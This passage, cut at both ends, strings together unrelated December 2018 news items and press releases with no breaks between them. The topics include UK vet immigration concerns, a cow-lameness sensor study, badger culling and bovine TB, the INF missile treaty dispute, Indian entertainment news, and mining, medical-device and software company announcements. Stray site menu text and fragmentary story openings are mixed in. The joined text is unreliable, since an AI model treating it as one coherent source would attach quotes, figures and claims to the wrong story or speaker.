immigration measures must consider the veterinary professions high reliance on the EU for workforce supply and mitigate against shortages and disproportionate impacts in the public health arena. 'Workforce crisis' Simon Doherty, President of the BVA, said the veterinary profession is already facing a workforce crisis. We are hugely reliant on overseas vets, particularly our colleagues from the EU, he said. Veterinary surgeons in abattoirs are highly skilled and carry out critical roles ensuring food safety, safeguarding animal welfare and enabling the UKs trade in animal products. But many wont meet the proposed 30,000 salary threshold. When the Home Secretary lifted the cap on non-EU health sector workers in June, BVA called for vets to be included. We reiterate that call today for the immigration cap to be lifted on vets. Mr Doherty added: We will continue to engage with Government as the Immigration Bill progresses to make the case for the veterinary workforces capacity needs, as well as the multiple benefits that non-UK vets and the wider workforce realise across animal health and welfare and public health. BVA and the professions regulator, the Royal College of Veterinary Surgeons (RCVS), are currently working on a joint response to the Migration Advisory Committees call for evidence on the shortage occupation list review 2018. 'Major contributors' The CLA, which represents 30,000 landowners, farmers and rural businesses, said restricting the supply of labour will jeopardise the future viability of many rural businesses. CLA President Tim Breitmeyer said: Highly skilled workers from the EU are major contributors to the rural economy and it is right they should continue to have access to the UK market. However, imposing an arbitrary minimum salary threshold puts at risk a variety of jobs across the agri-food sector, including some which require specialist skills. Mr Breitmeyer added: These are vital roles which are critical to the success of the rural economy but have traditionally not attracted interest from UK nationals seeking work. What is needed post-Brexit is a flexible immigration policy that ensures the rural economy continues to have access to the skills and labour force it needs. Farmers could soon have a special early-detection system for lameness in cattle thanks to a new piece of technology. Using location tracking data collected from wireless sensors on the cattle, researchers have found big differences in how healthy and lame cows move around in their barn. Importantly, the researchers were able to show how movement and use of space could be used to accurately predict the lameness status of individual cows within the herd. Lameness is a key health and welfare issue affecting commercial herds of dairy cattle, with potentially significant economic impacts due to the expense of treatment and lost milk production In the UK alone, the estimated cost of lameness to the dairy industry of treatment, lost milk yield, and lost fertility is over 128 million per year. Early detection of lameness can reduce the severity and duration of animal pain, and also minimise potential costs to farmers. 'Exciting system' The research was undertaken as part of the Cow Tracking Project, a joint collaboration between University of Essex, Writtle University College, Royal Veterinary College and University of Exeter. Lead researcher Professor Edward Codling, from University of Essex said: In our study we have developed a method which could potentially be an exciting system farmers could use to monitor the health of their herds in the future. Existing methods of detecting lame cattle can be time-consuming and the increase in intensive farming practices means farmers have a harder time detecting lameness in larger dairy herds. There is a growing need, therefore, for an automated behavioural monitoring system which can quickly and accurately detect lameness and other diseases at an early stage. Barn location The study, published in journal PLOS ONE, found that despite healthy and lame cows moving the same distance within the space available in the barn, it was how often they revisited specific areas and where they moved in the barn which was different. Whereas healthy cows explored a wider area of the barn and spent more time in the feeding area, the lame cows spent less time in the feeding area and more time in the areas of the barn that contained cubicles for resting. Further subtle differences in barn location were also found to be linked to parity (the number of calves each cow had previously had) and the number of days each cow had been in milk. The study monitored ten lame and ten non-lame cows within a herd of 210 Holstein pedigree cows on a commercial dairy in Essex. Location data was collected continuously, 24 hours per day, over five days using wireless sensors on the cows collars and a real time location system which processed and analysed the data to give a suite of space-use behavioural measures. Although recent advances in sensor tracking technology have made it possible to observe the movement of a range of animals, before this study, little was known about how observed movement behaviour and space-use patterns in individual dairy cattle related to lameness. Improving cow welfare During the study nearly 900,000 locations were recorded in total for the 20 monitored cows, giving a comprehensive pattern of movement for each individual cow. Professor Codling added: Using a simple predictive model based on only two measures of space use - the proportion of time spent in the feeding area and the full range of area they used in the barn - we were able to accurately determine the lameness status of all individual cows within the study. Although the model would need to be adapted and tested before being used in other farm environments, it demonstrates the principle of how only a few simple space-use measures could be used to accurately determine lameness for individual cows. This could potentially save farmers time and money and improve cow welfare. Similar approaches could also potentially be used with other managed animals. The researchers are now testing their findings using data collected over a much longer six-month period and from different farms. NFU Cymru is urging Welsh Government to "take note of the emerging evidence in England" following the publication of a bovine TB eradication strategy update. The statistics found within Defras update "underline the benefits of badger culling" in reducing the level of bovine TB in areas of England where the disease is endemic, the union says. The two initial badger cull areas in England are seeing the benefits of reduced disease in cattle over the four year cull period, with the number of new confirmed cattle breakdowns down by around 50%. In the Gloucester area the incidence rate has dropped from 24% to 12% in the 12 months following their fourth year of badger culling. Similar results were observed in Somerset with new incidence dropping from 10.4% to 5.6%. NFU Cymru Milk Board Chairman, Gareth Richards said the disease situation is, at best, static in some areas of Wales, which is in contrast to areas of England where culling has taken place over a period of time. Figures released by Defra and comments by the Defra Chief Vet, Christine Middlemiss, make for heartening reading for English cattle farmers as they tackle the scourge of bovine TB," Mr Richards said. This is in stark contrast to the strategy employed in the High TB Area in South West Wales where we know there is infection in the badger population. New herd incidences here remain unchanged over the last 12 months at 12.5 new breakdowns per 100 Officially TB Free (OTF) herds, but this is an increase compared to 24 months ago when the figure was 10.5 new breakdowns per 100. This is despite stringent cattle control and strict biosecurity measures employed by those farming families suffering the misery of a TB breakdown." Mr Richards added: Latest statistics show that nearly 10,000 cattle were slaughtered in the year to September 2018. This cannot be allowed to continue if we are to have any hope of getting on top of bovine TB and meet Welsh Governments own target of total eradication between 2036 and 2041. NFU Cymru says the effective control of badgers in areas where the industry knows that they are suffering from disease must be part of the strategy if farmers are to have a "truly comprehensive" TB eradication strategy in Wales. Welsh Government has so far ruled out following the strategy employed in England to actively remove the disease from the wildlife population. Russia has accused US of inventing a false pretext to exit a treaty it wants to leave anyway so as to develop new missiles. Washington has threatened to pull out of the 1987 Intermediate-range Nuclear Forces Treaty (INF), alleging that the new Russian missile, the Novator 9M729 (called SSC-8 by NATO), violates the pact, which bans either side from stationing short and intermediate-range, land-based missiles in Europe. (Photo: File) Moscow: Russia said on Wednesday it would not let the United States inspect a new nuclear-capable cruise missile at the heart of a dispute between Washington and Moscow that risks unravelling a landmark arms control treaty. Washington has threatened to pull out of the 1987 Intermediate-range Nuclear Forces Treaty (INF), alleging that the new Russian missile, the Novator 9M729 (called SSC-8 by NATO), violates the pact, which bans either side from stationing short and intermediate-range, land-based missiles in Europe. Russia says the missiles range puts it outside the treaty altogether and is not as long as Washington alleges, meaning that it is fully compliant with the INF. It has accused the United States of inventing a false pretext to exit a treaty it wants to leave anyway so as to develop new missiles. The United States issued Russia a 60-day ultimatum earlier this month to come clean about the alleged missile violation and return to full and verifiable compliance. That means Moscow is under pressure to scrap the new missile and its launchers. However, Russia said on Wednesday it had no intention of letting US inspectors look at the missile, which it said had not been tested at the longer range that Washington alleges. We dont feel right now that such a step would be justified from either a political or a technical point of view, Deputy Foreign Minister Sergei Ryabkov said in an interview with the Kommersant daily newspaper published on Wednesday. Ryabkov accused Washington of extremely intrusive attempts to shine a light on Russian rocket manufacturing and said that Washington had in the past rebuffed Russian requests to look inside US submarines under another arms control treaty. Any such inspections - if they were to happen - should not be unilateral but should take place in both countries, he added. US Director of National Intelligence Daniel Coats said on Nov. 30 that Russia has already deployed multiple battalions of 9M729 missiles and that they posed a direct threat to most of Europe and parts of Asia. Russian military experts asked their US counterparts several days ago to hold consultations on the missile dispute, but had not yet received any response, Ryabkov said. Ads claiming plant-based diet made people stronger withdrawn Watchdog orders vegan ads to be taken down Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category Reports suggest that Popular Tamil actor and producer Vishal has been arrested by Chennai police at Tenampett and taken in a van.According to a recent report by Indiaglitz.com, Vishal had tried to break the lock of the producer's council building at Tenampet, which was closed by the a group of producers yesterday (December 20, 2018). According to the reports that have been doing the rounds, Vishal was arrested and moved by Chennai police this morning. Vishal is the President of Tamil Film Producers Council. Reportedly, many of the producers have alleged Vishal over misappropriation of funds of the producer's council. Reports also suggest that Vishal has alleged that others have motives to stop one of the upcoming fund raising programs. He has also added that the accounts will be submitted during the upcoming General Body Meeting. They are also unhappy over Vishal's decision on removing the restrictions over the number of movie releases in a day. Further details regarding the same are being awaited. Meanwhile, Vishal took to his Twitter account to react to the ongoing controversy. Take a look at the tweet here. Police who were mute yesterday wen unauthorised ppl locked the doors & gates of TFPC have arrested me & my colleague today for no fault of ours,absolutely unbelievable We will fight back,wil do everything to conduct Ilayaraja sir event & raise funds to help Producers in distress Vishal (@VishalKOfficial) December 20, 2018 Vishal is also the General Secretary of the organization of the Tamil artists known as Nadigar Sangam. He was elected to this particular post in the year 2015. How Danish Met With The Accident? According to Mid-day report, at 12.30 am, when Danish reached Vashi bridge, he lost control over his car and colliding with a big rock by the road. The car was flung into the air and brought a light pole crashing down. Danishs Brother Is Undergoing Treatment According to PTI report, Danish was rushed to a nearby hospital but succumbed to his injuries. Zehen's brother was also travelling with him. He sustained injuries and is undergoing treatment. Mid-day report suggests that his friend Samir, lost consciousness, with bruises to the face and shoulders. Vikas Leaves KKKs Press Conference Midway To Attend Danishs Funeral According to Pinkvilla report, Vikas Gupta, who was present at the press meet of Khatron Ke Khiladi today, left the meet midway to be present at Danish's funeral. Vikas Is Completely Shaken! A close source to the show was quoted by IE as saying, "The entire team is in a state of shock after getting to know about Danish's untimely demise. Vikas is completely shaken. We haven't yet decided whether the contestants should be informed about Danish's death or not as it will affect them badly." One Of The Most Difficult Days Of My Life Vikas took to Twitter, "One of the most difficult days of my life. So much has happened and just in a matter of 24 hours. A life left us and now I need to tell my other houseguests. Strength and prayers for #DanishZehen Loved Ones RIP Zehen" Im Honoured That You Came To My House He also shared a video and wrote, "You touched lives @danish_zehen I am so honoured that you came to my house and was part of my life. Today telling the others in the house of what has happened and that you have left us was the toughest thing i have had to do." We All Love You "We all love you and hope you really are in a better place smiling. You were magic and meant to be special always. Zindagi lambi ho ya na ho badi honi chahiye I am glad that everyone including me got a chance to see your beautiful soul on this show. May you rest in Peace #danishzehen #houseguest #AceOfSpace #zehen @mtvindia P.S. please pray for him and his family for strength and love." Vancouver, British Columbia--(Newsfile Corp. - December 19, 2018) - GMV Minerals Inc. (TSXV: GMV) (the "Company" or "GMV") is pleased to announce that further to its news release dated November 7th, 2018, the Company has filed on SEDAR a National Instrument 43-101 (NI 43-101) preliminary economic assessment (PEA) technical report for the Mexican Hat Gold Project, located in SE Arizona, USA. The technical report is available under the Company's profile on SEDAR and will also be available on the company's website. The NI 43-101 PEA technical report is entitled "Mexican Hat Project, NI 43-101 Technical Report, Preliminary Economic Assessment" effective December 06, 2018, and signed December 18, 2018. Since the publication of the Company's draft findings in its November 7th, 2018 news release it wishes to announce the following material changes to the final report. The price of gold used in the base case scenario has been amended to US$1,300 per ounce (formerly US$1,325 per ounce). The crushing circuit has been modified to be a two-stage open circuit plant. The construction sequence has been modified to allow for a staged progression of the heap leach pad. These modifications are reflected in the figures shown below. PEA Highlights The base case assumes a gold price of US$1,300 per ounce (oz). All figures are stated in U.S. Dollars ($). All tonnages are metric tonnes. Precious metal grades are in grams per metric tonne (g/t). Mine life of 5-years with a 1-year pre-production period Crushed mineralized material will be conveyor stacked at a rate of approximately 15,000 tonnes per day on a conventional heap leach pad Life of mine (LOM) head grade of 0.66 g/t gold Low LOM Strip Ratio of 2.8 Total amount of gold recovered is estimated at 470,000 oz Average annual gold production of approximately 94,000 oz Peak annual gold production of approximately 118,000 oz LOM direct operating cash cost is estimated at $658/oz of gold recovered All-in sustaining cost is estimated at $764/oz of gold recovered LOM sustaining capital costs is estimated at $40.0 million The Mexican Hat Mineral Resource is currently open in three directions and to depth Financial Indicators Before Taxes NPV @ 5% $93.8 million IRR % 33.1% Payback (years) 2.0 Financial Indicators After Taxes NPV @ 5% $77.8 million IRR % 29.1% Payback (years) 2.3 INITIAL CAPITAL EXPENDITURES Cost Item Total ($ million) Site, Process and Infrastructure Project Directs $63.3 Project Indirects $12.7 Contingency (25%) $19.0 Subtotal $95.0 Initial Fleet Lease $14.9 Pre-Production Waste Removal $15.2 Owner's Costs $5.0 Total $130.1 OPERATING COSTS The life of mine operating costs were calculated to average $12.30 per tonne feed. Cost per Tonne of Mineralized Material Processed Mining $6.62 Process $4.18 G&A $1.50 Total Site Operating Cost $12.30 MINERAL RESOURCES An updated Mineral Resource Estimate was prepared by Tetra Tech Inc. (Tetra Tech) with an effective date of June 22, 2018 and announced by GMV in a News Release dated July 17, 2018. Details of the Mineral Resource Estimate can be found in a Technical Report filed on SEDAR and announced by GMV in a News Release dated August 29, 2018. Category Cut-off (g/t Au) Grade (Au, g/t) Tonnes Gold Oz Strip Ratio Inferred 0.20 0.616 32,876,000 651,000 2.56 The Mineral Resource Estimate has been constrained to a preliminary optimized pit shell, using the following parameters: SG = 2.57 gm/cc based on testwork, mining costs = $1.50/tonne, mining recovery =98%, mining dilution = 2%, process cost = $3.25 per tonne, G&A = $0.55 per tonne, gold price = $1,300 per troy ounce, throughput at 15,000 tpd, discount rate = 7%. Top cut at 32 g/t. Mineral Resources constrained to optimized pit shells are not mineral reserves and do not have demonstrated economic viability. Conforms to NI 43-101, Companion Policy 43-101CP, and the CIM Definition Standards for Mineral Resources and Mineral Reserves. Inferred Resources have been estimated from geological evidence and limited sampling and must be treated with a lower level of confidence than Measured and Indicated Resources. All numbers are rounded. Overall numbers may not be exact due to rounding. There are no known legal, political, environmental, or other risks that could materially affect the potential development of the mineral resources Mr. Ian Klassen, president of GMV Minerals Inc., reports, "We are very pleased to have acquired and developed a 100% owned property that demonstrates potential to host an economic gold deposit. We have significant room to rapidly expand the deposit both within the modeled pit as well as along strike and to depth, and in doing so would expect to further improve upon this economic model." The technical report was authored by the following independent qualified persons and is in accordance with National Instrument 43-101 - Standards of Disclosure for Mineral Projects. Daniel Roth, PE, P.Eng. of M3 Engineering & Technology - Process Plant and Infrastructure Capital Costs, and Economic Analysis. Justin Black, PE of M3 Engineering & Technology - Recovery Methods and Process Operating Costs. Dave Webb, PhD., P.Geo., P.Eng. of DRW Geological Consultants Ltd - Property Description and Location, Accessibility, Climate, Local Resource, Infrastructure and Physiography, History, Geological Setting and Mineralization, Deposit Types, Exploration, Drilling, Sample Preparation, Analysis and Security, Data Verification. John M. Marek, RM-SME of Independent Mining Consultants, Inc. - Mining Methods, Mine Operating Costs, Mine Capital Costs. James Barr, P.Geo. of Tetra Tech Inc. - Mineral Resource Estimate. John Fox, P.Eng. of Laurion Consulting Inc. - Mineral Processing and Metallurgical Testing. Dawn H. Garcia, CPG, P.G. - Environmental. All Qualified Persons have contributed to their corresponding sections in Interpretation, and Recommendations. The Qualified Persons have reviewed and approved the scientific, technical, and economic information obtained in this news release. Next Steps: GMV Minerals Inc. plans to continue exploration at Mexican Hat in 2019 with the goal of discovering new areas of mineralization as well as expanding the existing resources. The objective of exploration is to increase the mine life beyond 5 years from within and adjacent to the pit targets, as well as other geochemical and geophysical targets near the deposit. Drill permits have been filed. Additionally, the Company will begin the process of preparing information required for environmental permitting and preparation of a pre-feasibility study. Pre-feasibility level studies require detailed information on mining method, pit slope stability, heap pad design, waste dump design, production schedule, capital and operating cost estimates, hydrology, metallurgy, electric power, environmental factors, etc. Progress reports will be given periodically to inform shareholders of major developments. Cautionary Notes: The reader is cautioned that this mine plan is based on a mineral resource which includes inferred category mineralization. The reader is further cautioned that mineral resources are considered too speculative geologically to have economic considerations applied to them that would enable them to be categorized as mineral reserves. There is no certainty that the mineral resources will be realized or that they will convert to mineral reserves. There is no mineral reserve at Mexican Hat at this time. A component of the mineral resource, inclusive of inferred mineralization has been designated as potentially minable material for this PEA. This material does not constitute a mineral reserve. About GMV Minerals Inc. GMV Minerals Inc. is a publicly traded exploration company focused on developing precious metal assets in Arizona. GMV, through its 100% owned subsidiary, has a 100% interest in a Mining Property Lease commonly referred to as the Mexican Hat project, located in Cochise County, Arizona, USA. The project was initially explored by Placer Dome (USA) in the late 1980's to early 1990's. GMV is focused on developing the asset and realizing the full mineral potential of the property through near term gold production. The Company recently updated its inferred mineral resource to 32,876,000 tonnes grading 0.616 g/t gold at a 0.2 g/t cut-off, containing 651,000 ounces of gold. ON BEHALF OF THE BOARD OF DIRECTORS ________________________________________ Ian Klassen, President Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. For further information please contact: GMV Minerals Inc. Ian Klassen Tel: (604) 899-0106 Email: info@gmvminerals.com This news release may contain forward-looking statements based on assumptions and judgments of management of the Company regarding future events or results. Such statements are subject to a variety of risks and uncertainties which could cause actual events or results to differ materially from those reflected in the forward-looking statements. The Company disclaims any intention or obligation to revise or update such statements except as may be required by law. AVITA Medical (ASX: AVH, OTCQX: AVMXY), a global regenerative medicine company, today announced that PM360, a leading trade magazine for marketing decision makers in the pharmaceutical, biotech, medical device, and diagnostics industries, has named AVITA as one of the most innovative companies of 2018. AVITA Medical's RECELL Autologous Cell Harvesting System (RECELL System) was selected as part of PM360's 7th Annual Innovations Issue, which is published in December each year. The RECELL System was approved by the U.S. Food and Drug Administration (FDA) in September 2018 for the treatment of acute thermal burns in patients 18 years and older. The RECELL System is used to prepare Spray-On Skin Cells using a small amount of a patient's own skin, providing a new way to treat severe burns, while significantly reducing the amount of donor skin required. PM360 selected the RECELL System as the product is expected to make an immediate impact within a market that has not seen major innovation in decades. "Our selections represent the companies, offerings, and strategies that demonstrated what we believe is unique in its ability to impact the industry," says Anna Stashower, CEO/Publisher of PM360. "We hope others in the industry are able to work with these innovators or use these innovations to better serve patients, physicians, and other healthcare stakeholders." PM360 received hundreds of submissions from across the healthcare and life sciences industries. The editorial staff of PM360 evaluated each submission and selected their picks for the most innovative, regardless of category. All of this year's selections can be found at: www.pm360online.com/pm360-presents-the-2018-innovators. ABOUT PM360 PM360 is the premier, must-read magazine for marketing decision makers in the pharmaceutical, biotech, medical device, and diagnostics industries. Published monthly, PM360 is the only journal that focuses on delivering the full spectrum of practical information necessary for product managers and pharmaceutical marketing professionals to succeed in the complex and highly regulated healthcare environment. The journal's targeted and insightful editorial focuses on issues that directly impact critical decision making, including: Planning and implementation of cutting-edge strategies, trends, the latest technological advances, branding/marketing, advertising/promotion, patient/professional education, sales, market research, PR, and leadership. Additionally, the "360" in the title signifies the span of this critical, how-to info with personal and career insights for an enjoyable and thought-provoking read. By providing the full circle of enriching content, PM360 is truly an indispensable tool for busy and productive marketing professionals to stay at the top of their game. ABOUT AVITA MEDICAL LIMITED AVITA Medical is a regenerative medicine company with a technology platform positioned to address unmet medical needs in burns, chronic wounds, and aesthetics indications. AVITA Medical's patented and proprietary collection and application technology provides innovative treatment solutions derived from the regenerative properties of a patient's own skin. The medical devices work by preparing a REGENERATIVE EPIDERMAL SUSPENSION (RES), an autologous suspension comprised of the patient's skin cells necessary to regenerate natural healthy epidermis. This autologous suspension is then sprayed onto the areas of the patient requiring treatment. AVITA Medical's first U.S. product, the RECELL System, was approved by the U.S. Food and Drug Administration (FDA) in September 2018. The RECELL System is indicated for use in the treatment of acute thermal burns in patients 18 years and older. The RECELL System is used to prepare Spray-On Skin Cells using a small amount of a patient's own skin, providing a new way to treat severe burns, while significantly reducing the amount of donor skin required. The RECELL System is designed to be used at the point of care alone or in combination with autografts depending on the depth of the burn injury. Compelling data from randomized, controlled clinical trials conducted at major U.S. burn centers and real-world use in more than 7,000 patients globally, reinforce that the RECELL System is a significant advancement over the current standard of care for burn patients and offers benefits in clinical outcomes and cost savings. Healthcare professionals should read the INSTRUCTIONS FOR USE RECELL Autologous Cell Harvesting Device for a full description of important safety information including contraindications, warnings, and precautions. In international markets outside of Europe, our products are marketed under the RECELL System brand to promote skin healing in a wide range of applications including burns, chronic wounds, and aesthetics. The RECELL System is TGA-registered in Australia, CFDA-cleared in China, and received CE-mark approval in Europe. To learn more, visit www.avitamedical.com. CAUTIONARY NOTE REGARDING FORWARD-LOOKING STATEMENTS This letter includes forward-looking statements. These forward-looking statements generally can be identified by the use of words such as "anticipate," "expect," "intend," "could," "may," "will," "believe," "estimate," "look forward," "forecast," "goal," "target," "project," "continue," "outlook," "guidance," "future," other words of similar meaning and the use of future dates. Forward-looking statements in this letter include, but are not limited to, statements concerning, among other things, our ongoing clinical trials and product development activities, regulatory approval of our products, the potential for future growth in our business, and our ability to achieve our key strategic, operational and financial goal. Forward-looking statements by their nature address matters that are, to different degrees, uncertain. Each forward- looking statement contained in this letter is subject to risks and uncertainties that could cause actual results to differ materially from those expressed or implied by such statement. Applicable risks and uncertainties include, among others, the timing of regulatory approvals of our products; physician acceptance, endorsement, and use of our products; failure to achieve the anticipated benefits from approval of our products; the effect of regulatory actions; product liability claims; risks associated with international operations and expansion; and other business effects, including the effects of industry, economic or political conditions outside of the company's control. Investors should not place considerable reliance on the forward-looking statements contained in this letter. Investors are encouraged to read our publicly available filings for a discussion of these and other risks and uncertainties. The forward-looking statements in this letter speak only as of the date of this release, and we undertake no obligation to update or revise any of these statements. View source version on businesswire.com: https://www.businesswire.com/news/home/20181219005936/en/ Contacts: Media: Monsoon Communications Sarah Kemter Phone: +61 (0)3 9620 3333 Mobile: +61 (0)407 162 530 sarahk@monsoon.com.au Investors: Westwicke Partners Caroline Corner Phone: +1-415-202-5678 caroline.corner@westwicke.com AVITA Medical Ltd Dale A. Sander Chief Financial Officer Phone: +1-661-367-9178 dsander@avitamedical.com Montreal, Quebec--(Newsfile Corp. - December 20, 2018) - Manganese X Energy Corp. (TSXV: MN) (FSE: 9SC2) (TRADEGATE: 9SC2) (OTC Pink: SNCGF )(the "Company") is pleased to announce that 2018 was again a year of significant growth for the Company with advancements at its Battery Hill manganese property; the acquisition of its Peter Lake copper-nickel-cobalt property; as well as strategic corporate financing and the purchase of 15% in Mountain Springs Oil and Gas Limited (MSOG) with the opportunity of obtaining an additional 10% of MSOG upon Board approval. The Company anticipates potential cash flow during 2019 from dividends generated by its interest in MSOG, which would enable Manganese X the opportunity through the anticipated MSOG dividends to finance the Peter Lake property during 2019 and beyond. In addition, this cash flow will also allow Manganese X the ability to further advance the Battery Hill project, while advancing its strategy of supplying value added manganese materials to the fast-growing North American lithium ion battery market for electric vehicles (EV) and other alternative energy markets. Manganese X has recently been informed by MSOG that an additional oil and gas acquisition is being pursued and is in near completion. MSOG also reported that negotiations with Schlumberger are advanced and at the legal stage. Once completed, this deal would implement their innovative Schlumberger Heal System to potentially expand production and revenues from existing production wells. Martin Kepman, CEO of Manganese X states, "Due to the volatile fluctuations of the world oil and gas commodity markets and prices, it has taken MSOG longer than anticipated to complete its first acquisition. It is our hope that the oil and gas property acquisition will be completed in early 2019." Commodity price update: Manganese has increased 16.7% during the year and has performed very well among the minor metals sector. Highlights of 2018 Activities Completed two non-brokered private placement financings for combined gross proceeds of $992,750 at 15 and 20 cents per share. Negotiated and closed the purchase of 15% in MSOG for the sum of $750,000. An additional 10% of MSOG can be acquired for $500,000 with Board approval. A contract is anticipated with Schlumberger Ltd., an oil and gas services company, to utilize its newly developed Heal System technology that has been shown to significantly increase oil and gas yields. Acquired a 100% interest in the flagship Battery Hill manganese property located in the top-tier global mining jurisdiction of New Brunswick. The property includes the historical Moody Hill, Sharp Farm, Iron Ore Hill and Maple Hill manganese-iron zones and is subject to a 3% Gross Metal Royalty on production. Current focus at Battery Hill is on the metallurgical aspects and recovery processes that would result in a high purity product. Detailed mineralogical and preliminary metallurgical leach extraction testwork, spread over two research establishments, proved to be extremely positive. A research project is ongoing in conjunction with the National Research Council of Canada titled "The potential of ore upgrading and purification techniques to produce battery-grade material (high purity: 99.999 per cent)". The aim of this project is to determine to what extent, ore from the Battery Hill project, could be upgraded and to explore the potential to generate a high-purity manganese product suitable for the battery industry. Signed a property option agreement to earn a 100% interest in the Peter Lake copper-nickel-cobalt property located in the Sainte-Anne du Lac area of Quebec. Previous grab sampling returned values ranging from 0.4 to 22.8% copper, 0.14 to 0.73% nickel and 0.05 to 0.266% cobalt. The mineralization has been traced intermittently on surface for more than 2 kilometers. The property is virtually unexplored, with only 2 shallow diamond drill holes being completed in 2002. Manganese X has completed a multi-faceted exploration program which will lead to a significant drilling program during 2019. Manganese X Energy 2019 Strategies and Goals The Company's strategy is to leverage the potential cash flow from dividends generated by its interest in MSOG's oil and gas production wells, to advance the Battery Hill manganese and Peter Lake copper-nickel-cobalt projects, as well as other advanced opportunities identified. Some specific goals for 2019 are listed below: Increase ownership in MSOG and thus potential future cash flow dividends by purchasing an additional 10% interest upon MSOG completing its current acquisitions and with Manganese X Board approval Continue to pursue the development of its Battery Hill manganese property and to develop an innovative, cost effective process to produce high purity manganese materials to the fast-growing North American lithium ion battery market Advance and prioritize exploration targets at Peter Lake in preparation for a significant diamond drilling program to evaluate this highly prospective and virtually unexplored project Pursue potential negotiations with a multi-national Company to explore future development and sales of our value-added manganese materials to the North American markets Continue with OTC application in preparation to become eligible for the depository and book-entry services of The Depository Trust Company (DTC). About Manganese X Energy Manganese X Energy's mission is to acquire and advance high potential manganese prospects located in North America with the intent of supplying value added materials to the lithium ion battery and other alternative energy industries as well as the steel industry. In addition our company is striving to achieve new methodologies emanating from environmentally friendly green/zero emissions, while processing manganese at a lower competitive cost. For more information, visit the website at www.manganesexenergycorp.com. ON BEHALF OF THE BOARD OF DIRECTORS Martin Kepman CEO and Director martin@kepman.com 1-514-802-1814 Cautionary Note Regarding Forward-Looking Statements: Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release contains "forward-looking information" including statements with respect to the future exploration performance of the Company. This forward-looking information involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements of the Company, expressed or implied by such forward-looking statements. These risks, as well as others, are disclosed within the Company's filing on SEDAR, which investors are encouraged to review prior to any transaction involving the securities of the Company. Forward-looking information contained herein is provided as of the date of this news release and the Company disclaims any obligation, other than as required by law, to update any forward-looking information for any reason. There can be no assurance that forward-looking information will prove to be accurate and the reader is cautioned not to place undue reliance on such forward-looking information. Denaster General Trading LLC Sets Sights on India and The United Kingdom for First Expansion Beyond Middle East DUBAI, United Arab Emirates, Dec. 20, 2018 /PRNewswire/ -- Denaster General Trading LLC, a United Arab Emirates (UAE)-based retail distributor that helps international brands such as Bang & Olufsen, Parrot and Nokia reach consumers across the Middle East, has chosen Oracle NetSuite to support its international expansion into India and the UK. With NetSuite, Denaster will be able to take advantage of the cloud to gain a single view into key business metrics across its entire operations and quickly and easily set up local operations in new markets. Founded in 2004 with just three employees, Denaster has grown to become the leading distributor of high-end products to retailers in the UAE. Today, Denaster employs 165 people and helps some of the world's best-known brands establish a presence in retail shops across the UAE, including Harvey Nichols Dubai, Dubai Duty Free and Virgin Megastores. To streamline business processes, support its regional and international growth and ensure it can continue to deliver the best possible service to its customers, Denaster selected NetSuite. "Following rapid growth in the region, the time has come to take Denaster into other international markets," said Deep Bhogal, managing director, Denaster General Trading LLC. "To support our international expansion, we need a flexible business platform that can give us a real-time view into our business. NetSuite meets this need and its proven track record of helping companies like ours scale internationally will be a huge advantage." With NetSuite, Denaster will be able to replace its current fragmented accounting and stock management systems to gain a single consolidated view across its entire operations. As a result, Denaster can speed up its reporting function and quickly localise its operations to realise its expansion ambitions without adding more complexity to its business. "The Middle East is fast becoming an important market for international consumer brands," said Nicky Tozer, VP of EMEA, Oracle NetSuite. "Denaster provides a gateway to the region for major brands and has been rapidly growing. With NetSuite, Denaster will be able to accelerate its expansion and deliver greater value to its brand and retail partners in the Middle East and beyond. Denaster's ambitions align perfectly with NetSuite's strengths." About Denaster General Trading LLC Founded in 2004 by Deep Bhogal, Naz Hayat and Terry Nomell, Denaster General Trading LLC serves as a distribution link between international vendors and the Middle East. Operating from Dubai, UAE, our focus is the supply of quality products to the consumers of the GCC member states through our distribution network of retailers and airports. With a management team combining over 50 years of experience in the global distribution arena and more than 165 staff, we are perfectly positioned to offer the support suppliers need to fully discover this market's potential. From the initial stages of determining regional potential, through to marketing, product placement and volume distribution, we have the tools needed to introduce quality products to new markets. For more information, visit: http://www.denaster.com. About Oracle NetSuite For more than 20 years, Oracle NetSuite has helped organisations grow, scale and adapt to change. NetSuite provides a suite of cloud-based applications, which includes financials / Enterprise Resource Planning (ERP), HR, professional services automation and omnichannel commerce, used by more than 15,000 customers in 203 countries and dependent territories. For more information, please visit http://www.netsuite.com. Follow NetSuite's Cloud blog, Facebook page and @NetSuite Twitter handle for real-time updates. About Oracle The Oracle Cloud offers complete SaaS application suites for ERP, HCM and CX, plus best-in-class database Platform as a Service (PaaS) and Infrastructure as a Service (IaaS) from data centres throughout the Americas, Europe and Asia. For more information about Oracle (NYSE:ORCL), please visit us at oracle.com. Trademarks Oracle and Java are registered trademarks of Oracle and/or its affiliates. Logo - https://mma.prnewswire.com/media/640624/Oracle_NetSuite_Logo.jpg The European Investment Trust Plc - Transaction in Own Shares The European Investment Trust plc ("the Company") The Company announces that on 19 December 2018 it purchased the following number of its ordinary shares of 25 pence each on the main market of the London Stock Exchange. Ordinary Shares: Date of purchase: 19 December 2018 Number of ordinary shares purchased: 25,000 Lowest price per share 792p Highest price per share 792p The Company intends to cancel the purchased shares. Following the above transaction, the Company has 41,061,269 ordinary shares in issue. Each of the Company's shares carries one vote. Accordingly, the total number of voting rights of the Company is 41,061,269. 20 December 2018 LEI: 213800QNN9EHZ4SC1R12 Enquiries: Kenneth J Greig Edinburgh Partners AIFM Limited Tel: 0131 270 3800 The Company's registered office address is: Beaufort House 51 New North Road Exeter EX4 4EP HERZLIYA, Israel, December 20, 2018 /PRNewswire/ -- NewBlockchain Enabled Cyber-Security SolutionAvailable forIoT While there are still major hurdles to overcome in our connected world, and no standards for IoT devices to be protected with traditional security tools, there is an increased threat to security. And according to Gartner, there will be 25 billion connected things in use by 2021. (Logo: https://mma.prnewswire.com/media/800911/SigmaDots_Logo.jpg ) "In a world where the use of technology is ever-present, so is the risk of cyber attack's - with increasingly dire consequences," said Essence Group Chairman and CEO Dr. Haim Amir. "We founded SigmaDots to provide a differentiator in a world where everything is connected - and vulnerable." So, what can companies and individuals do to prevent cyber attacks? Essence Group is leveraging 25 years of IoT experience, introducing 